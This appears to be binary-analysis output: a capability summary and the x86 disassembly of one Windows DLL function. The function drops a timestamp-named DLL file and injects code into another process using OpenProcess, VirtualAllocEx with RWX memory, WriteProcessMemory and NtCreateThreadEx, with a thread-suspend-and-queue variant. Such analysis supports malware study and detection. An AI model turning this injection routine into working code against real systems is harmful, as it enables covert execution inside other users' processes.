Function at 0x100089e0
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Get file size
Link many functions at runtime
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019328
mov eax, dword fs:[0]
push eax
sub esp, 0x28c
mov eax, dword [0x1001f210]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x20]
mov esi, ecx
push eax
mov dword [ebp - 0x26c], esi
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x12]
movzx edx, word [ebp - 0x14]
movzx eax, word [ebp - 0x16]
push ecx
movzx ecx, word [ebp - 0x18]
push edx
push eax
push ecx
lea ebx, [esi + 0x68c]
push ebx
push str._s_u_u_u_u.dll
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
add esp, 0x1c
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ebx
call edi
mov dword [ebp - 0x274], eax
cmp eax, 0xffffffff
jne 0x10008ace
push 0x1001ca9c
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [eax + eax + 4]
push ebx
call fcn.1000bf2c
add esp, 4
push ebx
mov edi, eax
push 0
push edi
call fcn.10012120
add esp, 0xc
lea edx, [ebx - 4]
push edx
lea eax, [edi + 1]
push 0x1001ca9c
push eax
mov byte [edi], 0
call fcn.100121a0
add esp, 0xc
cmp dword [esi + 8], 0
jne 0x10008ac0
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
push ebx
push edi
call eax
push edi
call fcn.1000c9eb
add esp, 4
jmp 0x10009047
push 0
push 0
push 4
push 0
push 0
push connect
lea ecx, [esi + 0x474]
push ecx
call edi
mov dword [ebp - 0x270], eax
cmp eax, 0xffffffff
jne 0x10008b01
push 0x1001cab4
push esi
call fcn.100083c0
jmp 0x10009047
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 0x278], eax
call fcn.1000bf2c
mov edi, eax
add esp, 4
test edi, edi
jne 0x10008b36
push str.VirtualAlloc_Error
push esi
call fcn.100083c0
mov edx, dword [ebp - 0x270]
push edx
jmp 0x10009041
mov ecx, dword [ebp - 0x278]
mov edx, dword [ebp - 0x270]
push 0
lea eax, [ebp - 0x280]
push eax
push ecx
push edi
push edx
mov dword [ebp - 0x280], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x278]
mov edx, dword [ebp - 0x274]
push 0
lea eax, [ebp - 0x298]
push eax
push ecx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.1000c9eb
mov ecx, dword [esi + 0x680]
add esp, 4
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x10008bbc
push 0x1001caf0
push esi
call fcn.100083c0
jmp 0x10009047
mov eax, dword [esi + 0x470]
sub eax, 0
je 0x10008fe7
sub eax, 2
je 0x10008dc9
sub eax, 2
jne 0x10009040
push 0x1001c5f4
mov dword [ebp - 0x270], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x274], eax
test eax, eax
jne 0x10008c08
push str.ntdll.dll_error
push esi
call fcn.100083c0
jmp 0x10009040
push 0x1001cc58
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x274]
push 0x1001cc70
push edx
mov dword [ebp - 0x268], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
mov dword [ebp - 0x264], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x258]
push ebx
push ecx
call fcn.100121a0
add esp, 0xc
push 4
push 0x3000
xor eax, eax
push 0x1000
push eax
push edi
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
jne 0x10008c87
push str.VirtualAllocEx_error
push esi
call fcn.100083c0
jmp 0x10009040
push 0
push 0x224
lea edx, [ebp - 0x268]
push edx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10008cc0
push str.WriteProcessMemory__error
push esi
call fcn.100083c0
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x10009040
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x26c], eax
test eax, eax
jne 0x10008ce6
push str.VirtualAllocEx2_error
jmp 0x10008ca6
push 0
push 0x1000
push 0x100089a0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10008d30
push str.WriteProcessMemory2_error
push esi
call fcn.100083c0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push ebx
push edi
call esi
mov eax, dword [ebp - 0x26c]
push 0x8000
push 0
push eax
push edi
call esi
jmp 0x10009040
mov ecx, dword [ebp - 0x274]
push str.NtCreateThreadEx
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10008d78
push str.NtCreateThreadEx_error
push esi
call fcn.100083c0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push ebx
push edi
call esi
mov edx, dword [ebp - 0x26c]
push 0x8000
push 0
push edx
push edi
call esi
jmp 0x10009040
mov ecx, dword [esi + 0xaa8]
mov edx, dword [ebp - 0x26c]
push 0
push 0
push 0
push 0
push ecx
push ebx
push edx
push edi
push 0
push 0x1fffff
lea ecx, [ebp - 0x270]
push ecx
call eax
cmp dword [ebp - 0x270], 0
jne 0x10008db9
push 0x1001cd80
push esi
call fcn.100083c0
jmp 0x10009040
push 0x1001cd8c
push esi
call fcn.100083c0
jmp 0x10009040
push str.NtAllocateVirtualMemory
push 0x1001c5f4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtWriteVirtualMemory
push 0x1001c5f4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtSuspendThread
push 0x1001c5f4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtAlertResumeThread
push 0x1001c5f4
mov dword [ebp - 0x28c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1001cb64
push 0x1001c5f4
mov dword [ebp - 0x288], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 4
mov dword [ebp - 0x284], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x274], eax
cmp eax, 0xffffffff
jne 0x10008e73
push 0x1001cb78
push esi
call fcn.100083c0
jmp 0x10009040
lea edx, [ebp - 0x3c]
push edx
push eax
mov dword [ebp - 0x3c], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x10008ea0
push 0x1001cb8c
push esi
call fcn.100083c0
jmp 0x10009040
mov eax, dword [ebp - 0x30]
cmp eax, dword [esi + 0x680]
jne 0x10008f91
mov eax, dword [ebp - 0x34]
push eax
push 0
push 0x10
mov dword [ebp - 0x27c], eax
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0x270], eax
test eax, eax
je 0x10008fbf
push 4
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x28c]
test eax, eax
je 0x10008f26
mov edx, dword [ebp - 0x270]
lea ecx, [ebp - 0x278]
push ecx
push edx
mov dword [ebp - 0x278], 0
call eax
push 0x1001cb00
push 0x1001cba0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push eax
mov eax, dword [ebp - 0x270]
push eax
call dword [ebp - 0x284]
mov esi, eax
mov eax, dword [ebp - 0x288]
test eax, eax
je 0x10008f76
mov edx, dword [ebp - 0x270]
lea ecx, [ebp - 0x278]
push ecx
push edx
mov dword [ebp - 0x278], 0
call eax
mov eax, dword [ebp - 0x26c]
test esi, esi
jne 0x10008fac
push 0x1001cbcc
push eax
call fcn.100083c0
mov esi, dword [ebp - 0x26c]
mov edx, dword [ebp - 0x274]
lea ecx, [ebp - 0x3c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10008ea0
jmp 0x10008fca
push str._tgHe
push eax
call fcn.100083c0
mov esi, dword [ebp - 0x26c]
jmp 0x10008fca
push 0x1001cc04
push esi
call fcn.100083c0
cmp dword [ebp - 0x27c], 0
jne 0x10008fde
push 0x1001cc24
push esi
call fcn.100083c0
mov ecx, dword [ebp - 0x274]
push ecx
jmp 0x10009041
lea esi, [ebp - 0x40]
call fcn.10007300
mov esi, dword [ebp - 0x26c]
mov dword [ebp - 4], 0
cmp dword [esi + 0x688], 0
push ebx
je 0x10009016
lea edx, [ebp - 0x40]
push edx
call fcn.1000ab90
push 0x1001cb10
jmp 0x1000902b
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x30], 1
call fcn.1000ab90
push 0x1001cb28
push esi
call fcn.100083c0
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
call fcn.10007370
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000bf42
mov esp, ebp
pop ebp
ret